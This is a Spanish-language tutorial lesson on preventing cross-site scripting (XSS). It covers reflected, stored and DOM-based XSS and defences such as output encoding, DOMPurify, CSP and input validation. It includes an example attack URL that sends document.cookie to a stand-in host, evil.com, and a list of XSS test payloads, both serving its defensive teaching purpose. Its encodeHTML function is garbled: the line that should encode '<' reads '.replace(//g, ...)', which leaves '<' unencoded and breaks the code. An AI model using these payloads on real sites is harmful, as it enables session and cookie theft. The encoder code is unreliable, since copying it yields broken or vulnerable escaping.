TechLead
Lección 2 de 9
5 min de lectura
Seguridad Web

Prevención de Cross-Site Scripting (XSS)

Aprende cómo funcionan los ataques XSS e implementa defensas robustas para proteger tus aplicaciones de la inyección de scripts.

Entendiendo los Ataques XSS

Cross-Site Scripting (XSS) ocurre cuando los atacantes inyectan scripts maliciosos en páginas web vistas por otros usuarios. XSS está consistentemente en el OWASP Top 10 y puede llevar al secuestro de sesiones, robo de datos y toma de control de cuentas.

Tipos de XSS

1. XSS Reflejado

El script malicioso viene de la solicitud HTTP actual:

<!-- Código vulnerable -->
<p>Resultados de búsqueda para: <?php echo $_GET['query']; ?></p>

<!-- URL de ataque -->
https://example.com/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

2. XSS Almacenado

El script malicioso se almacena permanentemente en el servidor:

// Vulnerable: Almacenar y mostrar comentarios de usuarios sin sanitización
app.post('/comment', (req, res) => {
  db.save({ comment: req.body.comment }); // Almacenado tal cual
});

// Mostrado después:
<div>{comment}</div> // Si el comentario contiene script, se ejecuta

3. XSS Basado en DOM

La vulnerabilidad existe en el código del lado del cliente:

// Vulnerable: Usando innerHTML con datos no confiables
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hola, ' + name;

// URL de ataque:
// ?name=<img src=x onerror=alert('XSS')>

Estrategias de Prevención de XSS

1. Codificación de Salida

// Codificar entidades HTML
function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(//g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// Usar template literals de forma segura
const userInput = '<script>alert("xss")</script>';
element.textContent = userInput; // Seguro - auto-codificado
element.innerHTML = encodeHTML(userInput); // Seguro - codificado manualmente

2. Protección Integrada de React

// React automáticamente escapa valores en JSX
function Comment({ text }) {
  // Seguro - React escapa el texto
  return <div>{text}</div>;
}

// PELIGROSO - evita la protección de React
function UnsafeComment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// Si debes usar dangerouslySetInnerHTML, sanitiza primero:
import DOMPurify from 'dompurify';

function SafeHTML({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

3. Política de Seguridad de Contenido (CSP)

// Cabecera CSP estricta
res.setHeader('Content-Security-Policy', [
  "default-src 'self'",
  "script-src 'self' 'nonce-randomValue123'",
  "style-src 'self' 'unsafe-inline'",
  "img-src 'self' data: https:",
  "font-src 'self'",
  "connect-src 'self' https://api.example.com",
  "frame-ancestors 'none'",
].join('; '));

// En HTML, usa nonce para scripts inline
<script nonce="randomValue123">
  // Este script se ejecutará
</script>

4. Validación de Entrada

import { z } from 'zod';

// Definir esquemas estrictos
const commentSchema = z.object({
  text: z.string()
    .min(1)
    .max(1000)
    .regex(/^[a-zA-Z0-9\s.,!?'-]+$/), // Solo permitir caracteres seguros
  authorId: z.string().uuid(),
});

// Validar entrada
function createComment(input) {
  const validated = commentSchema.parse(input);
  // Ahora es seguro usar validated.text
}

5. Bibliotecas de Sanitización

// DOMPurify - Navegador
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href'],
});

// sanitize-html - Node.js
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirty, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a'],
  allowedAttributes: {
    'a': ['href']
  }
});

Mejores Prácticas de Manipulación del DOM

// INSEGURO: Usando innerHTML
element.innerHTML = userInput;

// SEGURO: Usando textContent
element.textContent = userInput;

// SEGURO: Creando elementos correctamente
const link = document.createElement('a');
link.href = sanitizeURL(userInput);
link.textContent = 'Clic aquí';
element.appendChild(link);

// Sanitización de URL
function sanitizeURL(url) {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return '#';
    }
    return parsed.href;
  } catch {
    return '#';
  }
}

Pruebas de XSS

// Payloads comunes de prueba XSS
const xssPayloads = [
  '<script>alert("XSS")</script>',
  '<img src=x onerror=alert("XSS")>',
  '<svg onload=alert("XSS")>',
  'javascript:alert("XSS")',
  '<a href="javascript:alert(1)">click</a>',
  '<div onmouseover="alert(1)">hover me</div>',
];

// Prueba tus entradas con estos payloads
// Si alguno se ejecuta, tienes una vulnerabilidad XSS

Continuar Aprendiendo